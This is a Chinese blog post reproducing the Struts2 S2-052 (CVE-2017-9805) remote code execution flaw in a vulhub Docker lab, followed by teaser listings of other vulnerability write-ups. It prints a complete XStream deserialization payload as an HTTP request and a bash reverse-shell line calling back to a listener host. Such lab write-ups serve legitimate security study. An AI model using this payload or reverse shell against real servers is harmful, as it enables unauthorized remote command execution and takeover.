代码编织梦想

 

前言

struts2应用已是千疮百孔, 最近突发奇想想研究一下相关原理和利用情况。s2-052漏洞由lgtm.com的安全研究员汇报,编号为CVE-2017-9805,是一个远程命令执行漏洞,漏洞危害程度为高危(Critical)。当用户使用带有 XStream 程序的 Struts REST 插件来处理 XML payloads 时,可能会遭到远程代码执行攻击。

影响版本:Struts 2.5.12 版本,百度说还影响到 2.3.33 版本。

1.环境搭建

本次复现采用ubuntu系统,利用docker部署环境。以下来探讨以下在环境部署和过程中遇到的问题。

具体内容请查看以下连接,需要注意的是Linux的docker与docker-compose的不同。

https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md

请执行以下命令搭建靶场环境 

apt install git docker.io docker-compose

git clone https://github.com/vulhub/vulhub.git

cd vulhub/struts2/s2-052/

docker-compose build

docker-compose up -d

注意:

在执行最后一步时可能会报错:Failed to start docker.service: Unit docker.service is masked.

解决方法:

systemctl unmask docker.service

systemctl unmask docker.socket

systemctl start docker.service

2.s2-052复现 

根据第一步的操作检查环境是否成功部署,访问环境相关地址,如截图所示。

 利用BurpSiute工具将payload发射到目标服务器,详细的POST数据和需要注意的事项请看下面的代码块,

POST /orders HTTP/1.1
Host: 192.168.204.142:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml  # 数据包头需要添加这个字段
Content-Length: 2414
Cookie: JSESSIONID=CF855BF35B5C60451837EEC2B4830419
Connection: close
Upgrade-Insecure-Requests: 1

<map>
<entry>
     <jdk.nashorn.internal.objects.NativeString>
       <flags>0</flags>
       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
         <dataHandler>
           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
             <is class="javax.crypto.CipherInputStream">
               <cipher class="javax.crypto.NullCipher">
                 <initialized>false</initialized>
                 <opmode>0</opmode>
                 <serviceIterator class="javax.imageio.spi.FilterIterator">
                   <iter class="javax.imageio.spi.FilterIterator">
                     <iter class="java.util.Collections$EmptyIterator"/>
                     <next class="java.lang.ProcessBuilder">
                       <command>
<string>touch</string>   # 执行命令
<string>/tmp/s2-052test.txt</string> # 执行命令
                       </command>
                       <redirectErrorStream>false</redirectErrorStream>
                     </next>
                   </iter>
                   <filter class="javax.imageio.ImageIO$ContainsFilter">
                     <method>
                       <class>java.lang.ProcessBuilder</class>
                       <name>start</name>
                       <parameter-types/>
                     </method>
                     <name>foo</name>
                   </filter>
                   <next class="string">foo</next>
                 </serviceIterator>
                 <lock/>
               </cipher>
               <input class="java.lang.ProcessBuilder$NullInputStream"/>
               <ibuffer/>
               <done>false</done>
               <ostart>0</ostart>
               <ofinish>0</ofinish>
               <closed>false</closed>
             </is>
             <consumed>false</consumed>
           </dataSource>
           <transferFlavors/>
         </dataHandler>
         <dataLen>0</dataLen>
       </value>
     </jdk.nashorn.internal.objects.NativeString>
     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
   </entry>
   <entry>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
   </entry>
 </map>

 http包头信息

        将需要执行的命令添加到command字段

检查服务端结果

 3.POC研究

在实验期间尝试执行其他命令,但好像该漏洞没有回显,在进一步深入后发现在执行的命令标签不能随意填写。

                       <command>
<string>touch</string>
<string>/tmp/s2-052test.txt</string>
                       </command>

尝试执行命令反弹shell。

<string>bash</string>
<string>-c</string>
<string>bash -i >&amp;/dev/tcp/192.168.204.135/10101 0>&amp;1</string>

参考连接:https://www.freebuf.com/vuls/147017.html

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/Jietewang/article/details/109091898

CVE-2020-2551漏洞-爱代码爱编程

漏洞简介           2020 年 1月14日,Oracle 发布了大量安全补丁,修复了 43 个严重漏洞,CVSS 评分均在在9.1以上。 其中 CVE-2020-2551 漏洞,互联网中公布了几篇针对该漏洞的分析文章以及POC,但公布的 POC 有部分不足之处,导致漏洞检测效率变低,不足之处主要体现在: 公布的 POC 代码只针对直连(内网

Java 反序列化 ysoserial-URLDNS利用链 调试分析-爱代码爱编程

0x 前言 最近碰到几个关于java 反序列化的问题,很多时候都会利用 ysoserial 这个工具来生成payload,于是这次决定来跟一跟 ysoserial 里面最简单的 URLDNS 这条利用链 0x 准备分析 先看看 ysoserial 生成 URLDNS 的这段代码: 注释里说得很明白,利用链是: * Gadget Chain:

thinkphp v6.0.x 反序列化利用链分析-爱代码爱编程

0x00 前言 继续分析 thinkphp v6.0.x 反序列化利用链,本来是打算先分析 thinkphp v5.2.x 的利用链的,但是使用composer 安装失败,而且官方又说只能通过composer 来安装 , 网上找了好久没找到解决方法,然后去github上面提交 issue ,官方给的回复 是没有 5.2版本,这个回答确实有点懵。 所以就

CVE-2020-13957:Apche Solr未授权上传漏洞重复现-爱代码爱编程

目录 前言 1.漏洞介绍 2.影响版本 3.环境搭建 3.1 Solr获取 3.2 靶机环境 4.漏洞复现 4.1 修改solrconfig.xml配置文件 4.2 漏洞利用 5. 总结 前言 Solr是建立在Apache Lucene ™之上的流行,快速,开放源代码的企业搜索平台。Solr具有高度的可靠性,可伸缩性和容错性,可提供

CVE-2020-5902:F5 BIG-IP TMUI远程代码执行漏洞复现-爱代码爱编程

目录 一、F5简介 二、漏洞描述  三、漏洞影响 四、漏洞复现 1. 资产信息收集 2. 漏洞复现 五、防预 一、F5简介 F5 BIG-IP Edge Gateway是一个接入解决方案,为远程用户提供了SSL VPN远程接入、安全性、应用加速和高可用性服务。F5 BIG-IP是由美国F5 Networks公司制造开发的一系列应用交付平台

CVE-2020-14882&14883:weblogic 未授权命令执行漏洞复现-爱代码爱编程

目录   1.Weblogic简介 2.漏洞描述 3.漏洞影响 4.环境搭建 4.1 使用docker搭建靶机 4.2 漏洞复现 5.漏洞分析 5.1 搭建调试环境 1.Weblogic简介 Oracle WebLogic Server是用于构建和部署企业Java EE应用程序的业界最佳应用程序服务器,并支持新功能,这些新功能可降低运